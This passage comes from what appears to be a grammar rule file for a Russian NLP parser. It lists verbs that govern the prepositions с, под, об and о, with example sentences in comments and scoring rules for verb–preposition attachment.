rus_verbs:придти{}, // мать скоро придет с работы rus_verbs:съехать{}, // Миша съехал с горки rus_verbs:свисать{}, // свисать с веток rus_verbs:стянуть{}, // стянуть с кровати rus_verbs:скинуть{}, // скинуть снег с плеча rus_verbs:загреметь{}, // загреметь со стула rus_verbs:сыпаться{}, // сыпаться с неба rus_verbs:стряхнуть{}, // стряхнуть с головы rus_verbs:сползти{}, // сползти со стула rus_verbs:стереть{}, // стереть с экрана rus_verbs:прогнать{}, // прогнать с фермы rus_verbs:смахнуть{}, // смахнуть со стола rus_verbs:спускать{}, // спускать с поводка rus_verbs:деться{}, // деться с подводной лодки rus_verbs:сдернуть{}, // сдернуть с себя rus_verbs:сдвинуться{}, // сдвинуться с места rus_verbs:слететь{}, // слететь с катушек rus_verbs:обступить{}, // обступить со всех сторон rus_verbs:снести{}, // снести с плеч инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, // сбегать с уроков деепричастие:сбегая{}, прилагательное:сбегающий{}, // прилагательное:сбегавший{ вид:несоверш }, rus_verbs:запить{}, // запить с горя rus_verbs:рубануть{}, // рубануть с плеча rus_verbs:чертыхнуться{}, // чертыхнуться с досады rus_verbs:срываться{}, // срываться с цепи rus_verbs:смыться{}, // смыться с уроков rus_verbs:похитить{}, // похитить со склада rus_verbs:смести{}, // смести со своего пути rus_verbs:отгружать{}, // отгружать со склада rus_verbs:отгрузить{}, // отгрузить со склада rus_verbs:бросаться{}, // Дети бросались в воду с моста rus_verbs:броситься{}, // самоубийца бросился с моста в воду rus_verbs:взимать{}, // Билетер взимает плату с каждого посетителя rus_verbs:взиматься{}, // Плата взимается с любого посетителя rus_verbs:взыскать{}, // Приставы взыскали долг с бедолаги rus_verbs:взыскивать{}, // Приставы взыскивают с бедолаги все долги rus_verbs:взыскиваться{}, // Долги взыскиваются с алиментщиков rus_verbs:вспархивать{}, // вспархивать с цветка rus_verbs:вспорхнуть{}, // вспорхнуть с ветки rus_verbs:выбросить{}, // выбросить что-то с балкона rus_verbs:выводить{}, // выводить с одежды пятна rus_verbs:снять{}, // снять с головы rus_verbs:начинать{}, // начинать с эскиза rus_verbs:двинуться{}, // двинуться с места rus_verbs:начинаться{}, // начинаться с гардероба rus_verbs:стечь{}, // стечь с крыши rus_verbs:слезть{}, // слезть с кучи rus_verbs:спуститься{}, // спуститься с крыши rus_verbs:сойти{}, // сойти с пьедестала rus_verbs:свернуть{}, // свернуть с пути rus_verbs:сорвать{}, // сорвать с цепи rus_verbs:сорваться{}, // сорваться с поводка rus_verbs:тронуться{}, // тронуться с места rus_verbs:угадать{}, // угадать с первой попытки rus_verbs:спустить{}, // спустить с лестницы rus_verbs:соскочить{}, // соскочить с крючка rus_verbs:сдвинуть{}, // сдвинуть с места rus_verbs:подниматься{}, // туман, поднимающийся с болота rus_verbs:подняться{}, // туман, поднявшийся с болота rus_verbs:валить{}, // Резкий порывистый ветер валит прохожих с ног. rus_verbs:свалить{}, // Резкий порывистый ветер свалит тебя с ног. rus_verbs:донестись{}, // С улицы донесся шум дождя. rus_verbs:опасть{}, // Опавшие с дерева листья. rus_verbs:махнуть{}, // Он махнул с берега в воду. rus_verbs:исчезнуть{}, // исчезнуть с экрана rus_verbs:свалиться{}, // свалиться со сцены rus_verbs:упасть{}, // упасть с дерева rus_verbs:вернуться{}, // Он ещё не вернулся с работы. rus_verbs:сдувать{}, // сдувать пух с одуванчиков rus_verbs:свергать{}, // свергать царя с трона rus_verbs:сбиться{}, // сбиться с пути rus_verbs:стирать{}, // стирать тряпкой надпись с доски rus_verbs:убирать{}, // убирать мусор c пола rus_verbs:удалять{}, // удалять игрока с поля rus_verbs:окружить{}, // Япония окружена со всех сторон морями. rus_verbs:снимать{}, // Я снимаю с себя всякую ответственность за его поведение. глагол:писаться{ aux stress="пис^аться" }, // Собственные имена пишутся с большой буквы. прилагательное:спокойный{}, // С этой стороны я спокоен. rus_verbs:спросить{}, // С тебя за всё спросят. rus_verbs:течь{}, // С него течёт пот. rus_verbs:дуть{}, // С моря дует ветер. rus_verbs:капать{}, // С его лица капали крупные капли пота. rus_verbs:опустить{}, // Она опустила ребёнка с рук на пол. rus_verbs:спрыгнуть{}, // Она легко спрыгнула с коня. rus_verbs:встать{}, // Все встали со стульев. rus_verbs:сбросить{}, // Войдя в комнату, он сбросил с себя пальто. rus_verbs:взять{}, // Возьми книгу с полки. rus_verbs:спускаться{}, // Мы спускались с горы. rus_verbs:уйти{}, // Он нашёл себе заместителя и ушёл со службы. rus_verbs:порхать{}, // Бабочка порхает с цветка на цветок. rus_verbs:отправляться{}, // Ваш поезд отправляется со второй платформы. rus_verbs:двигаться{}, // Он не двигался с места. rus_verbs:отходить{}, // мой поезд отходит с первого пути rus_verbs:попасть{}, // Майкл попал в кольцо с десятиметровой дистанции rus_verbs:падать{}, // снег падает с ветвей rus_verbs:скрыться{} // Ее водитель, бросив машину, скрылся с места происшествия. } fact гл_предл { if context { Гл_С_Род предлог:с{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_С_Род предлог:с{} *:*{падеж:род} } then return true } fact гл_предл { if context { Гл_С_Род предлог:с{} *:*{падеж:парт} } then return true } #endregion РОДИТЕЛЬНЫЙ fact гл_предл { if context { * предлог:с{} *:*{ падеж:твор } } then return false,-3 } fact гл_предл { if context { * предлог:с{} *:*{ падеж:род } } then return false,-4 } fact гл_предл { if context { * предлог:с{} * } then return false,-5 } #endregion Предлог_С /* #region Предлог_ПОД // -------------- ПРЕДЛОГ 'ПОД' ----------------------- fact гл_предл { if context { * предлог:под{} @regex("[a-z]+[0-9]*") } then return true } // ПОД+вин.п. не может присоединяться к существительным, поэтому // он присоединяется к любым глаголам. fact гл_предл { if context { * предлог:под{} *:*{ падеж:вин } } then return true } wordentry_set Гл_ПОД_твор= { rus_verbs:извиваться{}, // извивалась под его длинными усами rus_verbs:РАСПРОСТРАНЯТЬСЯ{}, // Под густым ковром травы и плотным сплетением корней (РАСПРОСТРАНЯТЬСЯ) rus_verbs:БРОСИТЬ{}, // чтобы ты его под деревом бросил? (БРОСИТЬ) rus_verbs:БИТЬСЯ{}, // под моей щекой сильно билось его сердце (БИТЬСЯ) rus_verbs:ОПУСТИТЬСЯ{}, // глаза его опустились под ее желтым взглядом (ОПУСТИТЬСЯ) rus_verbs:ВЗДЫМАТЬСЯ{}, // его грудь судорожно вздымалась под ее рукой (ВЗДЫМАТЬСЯ) rus_verbs:ПРОМЧАТЬСЯ{}, // Она промчалась под ними и исчезла за изгибом горы. (ПРОМЧАТЬСЯ) rus_verbs:всплыть{}, // Наконец он всплыл под нависавшей кормой, так и не отыскав того, что хотел. (всплыть) rus_verbs:КОНЧАТЬСЯ{}, // Он почти вертикально уходит в реку и кончается глубоко под водой. (КОНЧАТЬСЯ) rus_verbs:ПОЛЗТИ{}, // Там они ползли под спутанным терновником и сквозь переплетавшиеся кусты (ПОЛЗТИ) rus_verbs:ПРОХОДИТЬ{}, // Вольф проходил под гигантскими ветвями деревьев и мхов, свисавших с ветвей зелеными водопадами. (ПРОХОДИТЬ, ПРОПОЛЗТИ, ПРОПОЛЗАТЬ) rus_verbs:ПРОПОЛЗТИ{}, // rus_verbs:ПРОПОЛЗАТЬ{}, // rus_verbs:ИМЕТЬ{}, // Эти предположения не имеют под собой никакой почвы (ИМЕТЬ) rus_verbs:НОСИТЬ{}, // она носит под сердцем ребенка (НОСИТЬ) rus_verbs:ПАСТЬ{}, // Рим пал под натиском варваров (ПАСТЬ) rus_verbs:УТОНУТЬ{}, // Выступавшие старческие вены снова утонули под гладкой твердой плотью. (УТОНУТЬ) rus_verbs:ВАЛЯТЬСЯ{}, // Под его кривыми серыми ветвями и пестрыми коричнево-зелеными листьями валялись пустые ореховые скорлупки и сердцевины плодов. (ВАЛЯТЬСЯ) rus_verbs:вздрогнуть{}, // она вздрогнула под его взглядом rus_verbs:иметься{}, // у каждого под рукой имелся арбалет rus_verbs:ЖДАТЬ{}, // Сашка уже ждал под дождем (ЖДАТЬ) rus_verbs:НОЧЕВАТЬ{}, // мне приходилось ночевать под открытым небом (НОЧЕВАТЬ) rus_verbs:УЗНАТЬ{}, // вы должны узнать меня под этим именем (УЗНАТЬ) rus_verbs:ЗАДЕРЖИВАТЬСЯ{}, // мне нельзя задерживаться под землей! (ЗАДЕРЖИВАТЬСЯ) rus_verbs:ПОГИБНУТЬ{}, // под их копытами погибли целые армии! (ПОГИБНУТЬ) rus_verbs:РАЗДАВАТЬСЯ{}, // под ногами у меня раздавался сухой хруст (РАЗДАВАТЬСЯ) rus_verbs:КРУЖИТЬСЯ{}, // поверхность планеты кружилась у него под ногами (КРУЖИТЬСЯ) rus_verbs:ВИСЕТЬ{}, // под глазами у него висели тяжелые складки кожи (ВИСЕТЬ) rus_verbs:содрогнуться{}, // содрогнулся под ногами каменный пол (СОДРОГНУТЬСЯ) rus_verbs:СОБИРАТЬСЯ{}, // темнота уже собиралась под деревьями (СОБИРАТЬСЯ) rus_verbs:УПАСТЬ{}, // толстяк упал под градом ударов (УПАСТЬ) rus_verbs:ДВИНУТЬСЯ{}, // лодка двинулась под водой (ДВИНУТЬСЯ) rus_verbs:ЦАРИТЬ{}, // под его крышей царила холодная зима (ЦАРИТЬ) rus_verbs:ПРОВАЛИТЬСЯ{}, // под копытами его лошади провалился мост (ПРОВАЛИТЬСЯ ПОД твор) rus_verbs:ЗАДРОЖАТЬ{}, // земля задрожала под ногами (ЗАДРОЖАТЬ) rus_verbs:НАХМУРИТЬСЯ{}, // государь нахмурился под маской (НАХМУРИТЬСЯ) rus_verbs:РАБОТАТЬ{}, // работать под угрозой нельзя (РАБОТАТЬ) rus_verbs:ШЕВЕЛЬНУТЬСЯ{}, // под ногой шевельнулся камень (ШЕВЕЛЬНУТЬСЯ) rus_verbs:ВИДЕТЬ{}, // видел тебя под камнем. (ВИДЕТЬ) rus_verbs:ОСТАТЬСЯ{}, // второе осталось под водой (ОСТАТЬСЯ) rus_verbs:КИПЕТЬ{}, // вода кипела под копытами (КИПЕТЬ) rus_verbs:СИДЕТЬ{}, // может сидит под деревом (СИДЕТЬ) rus_verbs:МЕЛЬКНУТЬ{}, // под нами мелькнуло море (МЕЛЬКНУТЬ) rus_verbs:ПОСЛЫШАТЬСЯ{}, // под окном послышался шум (ПОСЛЫШАТЬСЯ) rus_verbs:ТЯНУТЬСЯ{}, // под нами тянулись облака (ТЯНУТЬСЯ) rus_verbs:ДРОЖАТЬ{}, // земля дрожала под ним (ДРОЖАТЬ) rus_verbs:ПРИЙТИСЬ{}, // хуже пришлось под землей (ПРИЙТИСЬ) rus_verbs:ГОРЕТЬ{}, // лампа горела под потолком (ГОРЕТЬ) rus_verbs:ПОЛОЖИТЬ{}, // положил под деревом плащ (ПОЛОЖИТЬ) rus_verbs:ЗАГОРЕТЬСЯ{}, // под деревьями загорелся костер (ЗАГОРЕТЬСЯ) rus_verbs:ПРОНОСИТЬСЯ{}, // под нами проносились крыши (ПРОНОСИТЬСЯ) rus_verbs:ПОТЯНУТЬСЯ{}, // под кораблем потянулись горы (ПОТЯНУТЬСЯ) rus_verbs:БЕЖАТЬ{}, // беги под серой стеной ночи (БЕЖАТЬ) rus_verbs:РАЗДАТЬСЯ{}, // под окном раздалось тяжелое дыхание (РАЗДАТЬСЯ) rus_verbs:ВСПЫХНУТЬ{}, // под потолком вспыхнула яркая лампа (ВСПЫХНУТЬ) rus_verbs:СМОТРЕТЬ{}, // просто смотрите под другим углом (СМОТРЕТЬ ПОД) rus_verbs:ДУТЬ{}, // теперь под деревьями дул ветерок (ДУТЬ) rus_verbs:СКРЫТЬСЯ{}, // оно быстро скрылось под водой (СКРЫТЬСЯ ПОД) rus_verbs:ЩЕЛКНУТЬ{}, // далеко под ними щелкнул выстрел (ЩЕЛКНУТЬ) rus_verbs:ТРЕЩАТЬ{}, // осколки стекла трещали под ногами (ТРЕЩАТЬ) rus_verbs:РАСПОЛАГАТЬСЯ{}, // под ними располагались разноцветные скамьи (РАСПОЛАГАТЬСЯ) rus_verbs:ВЫСТУПИТЬ{}, // под ногтями выступили капельки крови (ВЫСТУПИТЬ) rus_verbs:НАСТУПИТЬ{}, // под куполом базы наступила тишина (НАСТУПИТЬ) rus_verbs:ОСТАНОВИТЬСЯ{}, // повозка остановилась под самым окном (ОСТАНОВИТЬСЯ) rus_verbs:РАСТАЯТЬ{}, // магазин растаял под ночным дождем (РАСТАЯТЬ) rus_verbs:ДВИГАТЬСЯ{}, // под водой двигалось нечто огромное (ДВИГАТЬСЯ) rus_verbs:БЫТЬ{}, // под снегом могут быть трещины (БЫТЬ) rus_verbs:ЗИЯТЬ{}, // под ней зияла ужасная рана (ЗИЯТЬ) rus_verbs:ЗАЗВОНИТЬ{}, // под рукой водителя зазвонил телефон (ЗАЗВОНИТЬ) rus_verbs:ПОКАЗАТЬСЯ{}, // внезапно под ними показалась вода (ПОКАЗАТЬСЯ) rus_verbs:ЗАМЕРЕТЬ{}, // эхо замерло под высоким потолком (ЗАМЕРЕТЬ) rus_verbs:ПОЙТИ{}, // затем под кораблем пошла пустыня (ПОЙТИ) rus_verbs:ДЕЙСТВОВАТЬ{}, // боги всегда действуют под маской (ДЕЙСТВОВАТЬ) rus_verbs:БЛЕСТЕТЬ{}, // мокрый мех блестел под луной (БЛЕСТЕТЬ) rus_verbs:ЛЕТЕТЬ{}, // под ним летела серая земля (ЛЕТЕТЬ) rus_verbs:СОГНУТЬСЯ{}, // содрогнулся под ногами каменный пол (СОГНУТЬСЯ) rus_verbs:КИВНУТЬ{}, // четвертый слегка кивнул под капюшоном (КИВНУТЬ) rus_verbs:УМЕРЕТЬ{}, // колдун умер под грудой каменных глыб (УМЕРЕТЬ) rus_verbs:ОКАЗЫВАТЬСЯ{}, // внезапно под ногами оказывается знакомая тропинка (ОКАЗЫВАТЬСЯ) rus_verbs:ИСЧЕЗАТЬ{}, // серая лента дороги исчезала под воротами (ИСЧЕЗАТЬ) rus_verbs:СВЕРКНУТЬ{}, // голубые глаза сверкнули под густыми бровями (СВЕРКНУТЬ) rus_verbs:СИЯТЬ{}, // под ним сияла белая пелена облаков (СИЯТЬ) rus_verbs:ПРОНЕСТИСЬ{}, // тихий смех пронесся под куполом зала (ПРОНЕСТИСЬ) rus_verbs:СКОЛЬЗИТЬ{}, // обломки судна медленно скользили под ними (СКОЛЬЗИТЬ) rus_verbs:ВЗДУТЬСЯ{}, // под серой кожей вздулись шары мускулов (ВЗДУТЬСЯ) rus_verbs:ПРОЙТИ{}, // обломок отлично пройдет под колесами слева (ПРОЙТИ) rus_verbs:РАЗВЕВАТЬСЯ{}, // светлые волосы развевались под дыханием ветра (РАЗВЕВАТЬСЯ) rus_verbs:СВЕРКАТЬ{}, // глаза огнем сверкали под темными бровями (СВЕРКАТЬ) rus_verbs:КАЗАТЬСЯ{}, // деревянный док казался очень твердым под моими ногами (КАЗАТЬСЯ) rus_verbs:ПОСТАВИТЬ{}, // четвертый маг торопливо поставил под зеркалом широкую чашу (ПОСТАВИТЬ) rus_verbs:ОСТАВАТЬСЯ{}, // запасы остаются под давлением (ОСТАВАТЬСЯ ПОД) rus_verbs:ПЕТЬ{}, // просто мы под землей любим петь. (ПЕТЬ ПОД) rus_verbs:ПОЯВИТЬСЯ{}, // под их крыльями внезапно появился дым. (ПОЯВИТЬСЯ ПОД) rus_verbs:ОКАЗАТЬСЯ{}, // мы снова оказались под солнцем. (ОКАЗАТЬСЯ ПОД) rus_verbs:ПОДХОДИТЬ{}, // мы подходили под другим углом? (ПОДХОДИТЬ ПОД) rus_verbs:СКРЫВАТЬСЯ{}, // кто под ней скрывается? (СКРЫВАТЬСЯ ПОД) rus_verbs:ХЛЮПАТЬ{}, // под ногами Аллы хлюпала грязь (ХЛЮПАТЬ ПОД) rus_verbs:ШАГАТЬ{}, // их отряд весело шагал под дождем этой музыки. (ШАГАТЬ ПОД) rus_verbs:ТЕЧЬ{}, // под ее поверхностью медленно текла ярость. (ТЕЧЬ ПОД твор) rus_verbs:ОЧУТИТЬСЯ{}, // мы очутились под стенами замка. (ОЧУТИТЬСЯ ПОД) rus_verbs:ПОБЛЕСКИВАТЬ{}, // их латы поблескивали под солнцем. (ПОБЛЕСКИВАТЬ ПОД) rus_verbs:ДРАТЬСЯ{}, // под столами дрались за кости псы. (ДРАТЬСЯ ПОД) rus_verbs:КАЧНУТЬСЯ{}, // палуба качнулась у нас под ногами. (КАЧНУЛАСЬ ПОД) rus_verbs:ПРИСЕСТЬ{}, // конь даже присел под тяжелым телом. (ПРИСЕСТЬ ПОД) rus_verbs:ЖИТЬ{}, // они живут под землей. (ЖИТЬ ПОД) rus_verbs:ОБНАРУЖИТЬ{}, // вы можете обнаружить ее под водой? (ОБНАРУЖИТЬ ПОД) rus_verbs:ПЛЫТЬ{}, // Орёл плывёт под облаками. (ПЛЫТЬ ПОД) rus_verbs:ИСЧЕЗНУТЬ{}, // потом они исчезли под водой. (ИСЧЕЗНУТЬ ПОД) rus_verbs:держать{}, // оружие все держали под рукой. (держать ПОД) rus_verbs:ВСТРЕТИТЬСЯ{}, // они встретились под водой. (ВСТРЕТИТЬСЯ ПОД) rus_verbs:уснуть{}, // Миша уснет под одеялом rus_verbs:пошевелиться{}, // пошевелиться под одеялом rus_verbs:задохнуться{}, // задохнуться под слоем снега rus_verbs:потечь{}, // потечь под избыточным давлением rus_verbs:уцелеть{}, // уцелеть под завалами rus_verbs:мерцать{}, // мерцать под лучами софитов rus_verbs:поискать{}, // поискать под кроватью rus_verbs:гудеть{}, // гудеть под нагрузкой rus_verbs:посидеть{}, // посидеть под навесом rus_verbs:укрыться{}, // укрыться под навесом rus_verbs:утихнуть{}, // утихнуть под одеялом rus_verbs:заскрипеть{}, // заскрипеть под тяжестью rus_verbs:шелохнуться{}, // шелохнуться под одеялом инфинитив:срезать{ вид:несоверш }, глагол:срезать{ вид:несоверш }, // срезать под корень деепричастие:срезав{}, прилагательное:срезающий{ вид:несоверш }, инфинитив:срезать{ вид:соверш }, глагол:срезать{ вид:соверш }, деепричастие:срезая{}, прилагательное:срезавший{ вид:соверш }, rus_verbs:пониматься{}, // пониматься под успехом rus_verbs:подразумеваться{}, // подразумеваться под правильным решением rus_verbs:промокнуть{}, // промокнуть под проливным дождем rus_verbs:засосать{}, // засосать под ложечкой rus_verbs:подписаться{}, // подписаться под воззванием rus_verbs:укрываться{}, // укрываться под навесом rus_verbs:запыхтеть{}, // запыхтеть под одеялом rus_verbs:мокнуть{}, // мокнуть под лождем rus_verbs:сгибаться{}, // сгибаться под тяжестью снега rus_verbs:намокнуть{}, // намокнуть под дождем rus_verbs:подписываться{}, // подписываться под обращением rus_verbs:тарахтеть{}, // тарахтеть под окнами инфинитив:находиться{вид:несоверш}, глагол:находиться{вид:несоверш}, // Она уже несколько лет находится под наблюдением врача. деепричастие:находясь{}, прилагательное:находившийся{вид:несоверш}, прилагательное:находящийся{}, rus_verbs:лежать{}, // лежать под капельницей rus_verbs:вымокать{}, // вымокать под дождём rus_verbs:вымокнуть{}, // вымокнуть под дождём rus_verbs:проворчать{}, // проворчать под нос rus_verbs:хмыкнуть{}, // хмыкнуть под нос rus_verbs:отыскать{}, // отыскать под кроватью rus_verbs:дрогнуть{}, // дрогнуть под ударами rus_verbs:проявляться{}, // проявляться под нагрузкой rus_verbs:сдержать{}, // сдержать под контролем rus_verbs:ложиться{}, // ложиться под клиента rus_verbs:таять{}, // таять под весенним солнцем rus_verbs:покатиться{}, // покатиться под откос rus_verbs:лечь{}, // он лег под навесом rus_verbs:идти{}, // идти под дождем прилагательное:известный{}, // Он известен под этим именем. rus_verbs:стоять{}, // Ящик стоит под столом. rus_verbs:отступить{}, // Враг отступил под ударами наших войск. rus_verbs:царапаться{}, // Мышь царапается под полом. rus_verbs:спать{}, // заяц спокойно спал у себя под кустом rus_verbs:загорать{}, // мы загораем под солнцем ГЛ_ИНФ(мыть), // мыть руки под струёй воды ГЛ_ИНФ(закопать), ГЛ_ИНФ(спрятать), ГЛ_ИНФ(прятать), ГЛ_ИНФ(перепрятать) } fact гл_предл { if context { Гл_ПОД_твор предлог:под{} *:*{ падеж:твор } } then return true } // для глаголов вне списка - запрещаем. fact гл_предл { if context { * предлог:под{} *:*{ падеж:твор } } then return false,-10 } fact гл_предл { if context { * предлог:под{} *:*{} } then return false,-11 } #endregion Предлог_ПОД */ #region Предлог_ОБ // -------------- ПРЕДЛОГ 'ОБ' ----------------------- wordentry_set Гл_ОБ_предл= { rus_verbs:СВИДЕТЕЛЬСТВОВАТЬ{}, // Об их присутствии свидетельствовало лишь тусклое пурпурное пятно, проступавшее на камне. (СВИДЕТЕЛЬСТВОВАТЬ) rus_verbs:ЗАДУМАТЬСЯ{}, // Промышленные гиганты задумались об экологии (ЗАДУМАТЬСЯ) rus_verbs:СПРОСИТЬ{}, // Он спросил нескольких из пляжников об их кажущейся всеобщей юности. (СПРОСИТЬ) rus_verbs:спрашивать{}, // как ты можешь еще спрашивать у меня об этом? rus_verbs:забывать{}, // Мы не можем забывать об их участи. rus_verbs:ГАДАТЬ{}, // теперь об этом можно лишь гадать (ГАДАТЬ) rus_verbs:ПОВЕДАТЬ{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам (ПОВЕДАТЬ ОБ) rus_verbs:СООБЩИТЬ{}, // Иран сообщил МАГАТЭ об ускорении обогащения урана (СООБЩИТЬ) rus_verbs:ЗАЯВИТЬ{}, // Об их успешном окончании заявил генеральный директор (ЗАЯВИТЬ ОБ) rus_verbs:слышать{}, // даже они слышали об этом человеке. (СЛЫШАТЬ ОБ) rus_verbs:ДОЛОЖИТЬ{}, // вернувшиеся разведчики доложили об увиденном (ДОЛОЖИТЬ ОБ) rus_verbs:ПОГОВОРИТЬ{}, // давай поговорим об этом. (ПОГОВОРИТЬ ОБ) rus_verbs:ДОГАДАТЬСЯ{}, // об остальном нетрудно догадаться. (ДОГАДАТЬСЯ ОБ) rus_verbs:ПОЗАБОТИТЬСЯ{}, // обещал обо всем позаботиться. (ПОЗАБОТИТЬСЯ ОБ) rus_verbs:ПОЗАБЫТЬ{}, // Шура позабыл обо всем. (ПОЗАБЫТЬ ОБ) rus_verbs:вспоминать{}, // Впоследствии он не раз вспоминал об этом приключении. (вспоминать об) rus_verbs:сообщать{}, // Газета сообщает об открытии сессии парламента. (сообщать об) rus_verbs:просить{}, // мы просили об отсрочке платежей (просить ОБ) rus_verbs:ПЕТЬ{}, // эта же девушка пела обо всем совершенно открыто. (ПЕТЬ ОБ) rus_verbs:сказать{}, // ты скажешь об этом капитану? (сказать ОБ) rus_verbs:знать{}, // бы хотелось знать как можно больше об этом районе. rus_verbs:кричать{}, // Все газеты кричат об этом событии. rus_verbs:советоваться{}, // Она обо всём советуется с матерью. rus_verbs:говориться{}, // об остальном говорилось легко. rus_verbs:подумать{}, // нужно крепко обо всем подумать. rus_verbs:напомнить{}, // черный дым напомнил об опасности. rus_verbs:забыть{}, // забудь об этой роскоши. rus_verbs:думать{}, // приходится обо всем думать самой. rus_verbs:отрапортовать{}, // отрапортовать об успехах rus_verbs:информировать{}, // информировать об изменениях rus_verbs:оповестить{}, // оповестить об отказе rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:заговорить{}, // заговорить об оплате rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой. rus_verbs:попросить{}, // попросить об услуге rus_verbs:объявить{}, // объявить об отставке rus_verbs:предупредить{}, // предупредить об аварии rus_verbs:предупреждать{}, // предупреждать об опасности rus_verbs:твердить{}, // твердить об обязанностях rus_verbs:заявлять{}, // заявлять об экспериментальном подтверждении rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц. rus_verbs:читать{}, // он читал об этом в журнале rus_verbs:прочитать{}, // он читал об этом в учебнике rus_verbs:узнать{}, // он узнал об этом из фильмов rus_verbs:рассказать{}, // рассказать об экзаменах rus_verbs:рассказывать{}, rus_verbs:договориться{}, // договориться об оплате rus_verbs:договариваться{}, // договариваться об обмене rus_verbs:болтать{}, // Не болтай об этом! rus_verbs:проболтаться{}, // Не проболтайся об этом! rus_verbs:заботиться{}, // кто заботится об урегулировании rus_verbs:беспокоиться{}, // вы беспокоитесь об обороне rus_verbs:помнить{}, // всем советую об этом помнить rus_verbs:мечтать{} // Мечтать об успехе } fact гл_предл { if context { Гл_ОБ_предл предлог:об{} *:*{ падеж:предл } } then return true } fact гл_предл { if context { * предлог:о{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { * предлог:об{} @regex("[a-z]+[0-9]*") } then return true } // остальные глаголы не могут связываться fact гл_предл { if context { * предлог:об{} *:*{ падеж:предл } } then return false, -4 } wordentry_set Гл_ОБ_вин= { rus_verbs:СЛОМАТЬ{}, // потом об колено сломал (СЛОМАТЬ) rus_verbs:разбить{}, // ты разбил щеку об угол ящика. (РАЗБИТЬ ОБ) rus_verbs:опереться{}, // Он опёрся об стену. rus_verbs:опираться{}, rus_verbs:постучать{}, // постучал лбом об пол. rus_verbs:удариться{}, // бутылка глухо ударилась об землю. rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:царапаться{} // Днище лодки царапалось обо что-то. } fact гл_предл { if context { Гл_ОБ_вин предлог:об{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { * предлог:об{} *:*{ падеж:вин } } then return false,-4 } fact гл_предл { if context { * предлог:об{} *:*{} } then return false,-5 } #endregion Предлог_ОБ #region Предлог_О // ------------------- С ПРЕДЛОГОМ 'О' ---------------------- wordentry_set Гл_О_Вин={ rus_verbs:шмякнуть{}, // Ей хотелось шмякнуть ими о стену. rus_verbs:болтать{}, // Болтали чаще всего о пустяках. rus_verbs:шваркнуть{}, // Она шваркнула трубкой о рычаг. rus_verbs:опираться{}, // Мать приподнялась, с трудом опираясь о стол. rus_verbs:бахнуться{}, // Бахнуться головой о стол. rus_verbs:ВЫТЕРЕТЬ{}, // Вытащи нож и вытри его о траву. (ВЫТЕРЕТЬ/ВЫТИРАТЬ) rus_verbs:ВЫТИРАТЬ{}, // rus_verbs:РАЗБИТЬСЯ{}, // Прибой накатился и с шумом разбился о белый песок. (РАЗБИТЬСЯ) rus_verbs:СТУКНУТЬ{}, // Сердце его глухо стукнуло о грудную кость (СТУКНУТЬ) rus_verbs:ЛЯЗГНУТЬ{}, // Он кинулся наземь, покатился, и копье лязгнуло о стену. (ЛЯЗГНУТЬ/ЛЯЗГАТЬ) rus_verbs:ЛЯЗГАТЬ{}, // rus_verbs:звенеть{}, // стрелы уже звенели о прутья клетки rus_verbs:ЩЕЛКНУТЬ{}, // камень щелкнул о скалу (ЩЕЛКНУТЬ) rus_verbs:БИТЬ{}, // волна бьет о берег (БИТЬ) rus_verbs:ЗАЗВЕНЕТЬ{}, // зазвенели мечи о щиты (ЗАЗВЕНЕТЬ) rus_verbs:колотиться{}, // сердце его колотилось о ребра rus_verbs:стучать{}, // глухо стучали о щиты рукояти мечей. rus_verbs:биться{}, // биться головой о стену? (биться о) rus_verbs:ударить{}, // вода ударила его о стену коридора. (ударила о) rus_verbs:разбиваться{}, // волны разбивались о скалу rus_verbs:разбивать{}, // Разбивает голову о прутья клетки. rus_verbs:облокотиться{}, // облокотиться о стену rus_verbs:точить{}, // точить о точильный камень rus_verbs:спотыкаться{}, // спотыкаться о спрятавшийся в траве пень rus_verbs:потереться{}, // потереться о дерево rus_verbs:ушибиться{}, // ушибиться о дерево rus_verbs:тереться{}, // тереться о ствол rus_verbs:шмякнуться{}, // шмякнуться о землю rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:тереть{}, // тереть о камень rus_verbs:потереть{}, // потереть о колено rus_verbs:удариться{}, // удариться о край rus_verbs:споткнуться{}, // споткнуться о камень rus_verbs:запнуться{}, // запнуться о камень rus_verbs:запинаться{}, // запинаться о камни rus_verbs:ударяться{}, // ударяться о бортик rus_verbs:стукнуться{}, // стукнуться о бортик rus_verbs:стукаться{}, // стукаться о бортик rus_verbs:опереться{}, // Он опёрся локтями о стол. rus_verbs:плескаться{} // Вода плещется о берег. } fact гл_предл { if context { Гл_О_Вин предлог:о{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { * предлог:о{} *:*{ падеж:вин } } then return false,-5 } wordentry_set Гл_О_предл={ rus_verbs:КРИЧАТЬ{}, // она кричала о смерти! (КРИЧАТЬ) rus_verbs:РАССПРОСИТЬ{}, // Я расспросил о нем нескольких горожан. (РАССПРОСИТЬ/РАССПРАШИВАТЬ) rus_verbs:РАССПРАШИВАТЬ{}, // rus_verbs:слушать{}, // ты будешь слушать о них? rus_verbs:вспоминать{}, // вспоминать о том разговоре ему было неприятно rus_verbs:МОЛЧАТЬ{}, // О чём молчат девушки (МОЛЧАТЬ) rus_verbs:ПЛАКАТЬ{}, // она плакала о себе (ПЛАКАТЬ) rus_verbs:сложить{}, // о вас сложены легенды rus_verbs:ВОЛНОВАТЬСЯ{}, // Я волнуюсь о том, что что-то серьёзно пошло не так (ВОЛНОВАТЬСЯ О) rus_verbs:УПОМЯНУТЬ{}, // упомянул о намерении команды приобрести несколько новых футболистов (УПОМЯНУТЬ О) rus_verbs:ОТЧИТЫВАТЬСЯ{}, // Судебные приставы продолжают отчитываться о борьбе с неплательщиками (ОТЧИТЫВАТЬСЯ О) rus_verbs:ДОЛОЖИТЬ{}, // провести тщательное расследование взрыва в маршрутном такси во Владикавказе и доложить о результатах (ДОЛОЖИТЬ О) rus_verbs:ПРОБОЛТАТЬ{}, // правительство страны больше проболтало о военной реформе (ПРОБОЛТАТЬ О) 